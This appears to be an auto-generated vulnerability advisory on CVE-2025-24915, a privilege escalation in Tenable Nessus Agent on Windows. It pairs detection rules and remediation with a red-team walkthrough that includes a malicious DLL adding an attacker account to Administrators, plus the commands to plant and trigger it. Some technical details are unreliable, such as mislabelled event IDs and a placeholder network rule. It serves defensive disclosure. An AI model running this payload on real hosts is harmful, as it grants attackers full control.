CVE-2025-24915

Executive Summary

CVE-2025-24915 is a local privilege escalation vulnerability affecting Tenable Nessus Agent on Windows when installed to a non-default directory. The vulnerability arises from the agent failing to enforce secure permissions on sub-directories within the custom installation path. A local attacker with low privileges can exploit this weakness to gain elevated (SYSTEM) privileges. The CVSS score is 7.8 (High), and while no public proof-of-concept (PoC) or exploit code is currently available, the attack vector is straightforward and requires only local access. The patch is available in Nessus Agent version 10.8.3.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows agent from Tenable. The supply chain risk is limited to the integrity of the Tenable software distribution channel.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the Windows host.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross security boundaries.
• Confidentiality Impact: High (C:H) – Full system compromise allows access to all data.
• Integrity Impact: High (I:H) – The attacker can modify system files and configurations.
• Availability Impact: High (A:H) – The attacker can disrupt system operations.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation likelihood in the wild), the vulnerability is trivial to exploit once local access is obtained. In enterprise environments where users have local accounts, this poses a significant risk.

Deep Dive & Mechanics

The vulnerability is rooted in the Windows discretionary access control list (DACL) configuration. When Nessus Agent is installed to a non-default location (e.g., C:\CustomPath\Tenable\Nessus Agent), the installer does not apply restrictive permissions to the sub-directories. By default, Windows grants Everyone or Users group read/write access to newly created directories under certain conditions, especially if the parent directory has loose permissions.

An attacker with a low-privileged user account can:

1. Identify the non-default installation directory (e.g., via sc query or registry keys).
2. Write a malicious DLL or executable into a sub-directory (e.g., plugins\ or bin\).
3. Trigger the Nessus Agent service (running as SYSTEM) to load the malicious file via DLL hijacking or path interception.

The core issue is CWE-276: Incorrect Default Permissions. The installer fails to set explicit, restrictive ACLs on the custom path, leaving it vulnerable to privilege escalation.

Vulnerable vs. Patched Code

The vulnerability is not in the source code of the agent itself but in the installer's permission-setting logic. The patched version (10.8.3) includes a fix that applies secure ACLs to all sub-directories during installation.

Vulnerable Installer Behavior (Pre-10.8.3):

• Creates directories with inherited permissions from the parent.
• No explicit icacls or Set-Acl calls to restrict access.

Patched Installer Behavior (10.8.3+):

• After creating the directory structure, the installer runs a command similar to:

  icacls "C:\CustomPath\Tenable\Nessus Agent" /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)R" /T
  

• This ensures only SYSTEM and Administrators have full control, while Users have read-only access.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Windows 10/11 or Windows Server 2016+.
• Nessus Agent < 10.8.3 installed to a non-default path (e.g., D:\Tools\NessusAgent).
• A low-privileged user account.

Steps:

1. Identify the installation path:

   Get-ItemProperty -Path "HKLM:\SOFTWARE\Tenable\Nessus Agent" -Name "InstallDir"
   

2. Check directory permissions:

   icacls "D:\Tools\NessusAgent"
   

   Look for BUILTIN\Users:(OI)(CI)(F) or similar full control entries.
3. Craft a malicious DLL (e.g., evil.dll) that spawns a SYSTEM shell:

   // evil.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("cmd.exe /c net localgroup Administrators attacker /add", 0);
       }
       return TRUE;
   }
   

   Compile: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
4. Place the DLL in a sub-directory that the agent loads (e.g., D:\Tools\NessusAgent\plugins\evil.dll).
5. Trigger the service (e.g., restart the agent or wait for a scan):

   Restart-Service "Tenable Nessus Agent"
   

6. Verify privilege escalation: The attacker user is now in the Administrators group.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file writes to Nessus Agent directories:
   • Event ID 4663 (File Write) with Object Name containing Nessus Agent.
2. Check for suspicious DLL loads by the agent process:
   • Event ID 7 (Driver Load) or Sysmon Event ID 7 (Image loaded).
3. Audit directory permissions regularly:

   Get-ChildItem -Path "C:\ProgramData\Tenable\Nessus Agent" -Recurse | Get-Acl | Format-List
   

4. Harden installation paths: Ensure only SYSTEM and Administrators have write access.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected DLL or executable files in %ProgramData%\Tenable\Nessus Agent\ or custom paths.
  • Modified ACLs on Nessus Agent directories (e.g., Users group with F or M access).
• Process:
  • nessusagent.exe loading unsigned or unknown DLLs (check with Sysmon Event ID 7).
• Registry:
  • HKLM\SOFTWARE\Tenable\Nessus Agent\InstallDir pointing to a non-standard path.
• Network:
  • No specific network IOCs; this is a local attack.

Detection Engineering

YARA Rule

rule CVE_2025_24915_Nessus_Agent_DLL_Hijack {
    meta:
        description = "Detects potential DLL hijack attempts targeting Nessus Agent non-default install paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24915"
    strings:
        $s1 = "Tenable\\Nessus Agent" nocase
        $s2 = "nessusagent.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (for any of ($s*) : ($ in (0..1024))) and
        (filesize < 10MB)
}

Sigma Rule

title: Nessus Agent Non-Default Directory Permission Abuse
id: 8a3f2c1e-5b7d-4a9f-8c6e-1d2f3a4b5c6d
status: experimental
description: Detects file writes to Nessus Agent directories by non-privileged users
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'Nessus Agent'
        AccessMask|contains: '0x6'  # Write + Read
    filter:
        SubjectUserName|startswith: 'NT AUTHORITY'
    condition: selection and not filter
falsepositives:
    - Legitimate updates by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24915 Nessus Agent Potential C2 Beacon"; flow:to_server,established; content:"nessus"; nocase; content:"agent"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder for network-based detection. The primary detection should be host-based.

Remediation & Mitigation

1. Immediate Patch: Upgrade Nessus Agent to version 10.8.3 or later.
2. Workaround: If patching is not possible, manually secure the installation directory:

   icacls "C:\Path\To\Nessus Agent" /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)R" /T
   

3. Install to Default Path: Use C:\Program Files\Tenable\Nessus Agent to inherit secure permissions.
4. Monitor Permissions: Regularly audit ACLs on the agent directory.
5. Least Privilege: Ensure users do not have local administrative rights.

Report generated by Valters IT DevSecOps & CTI Framework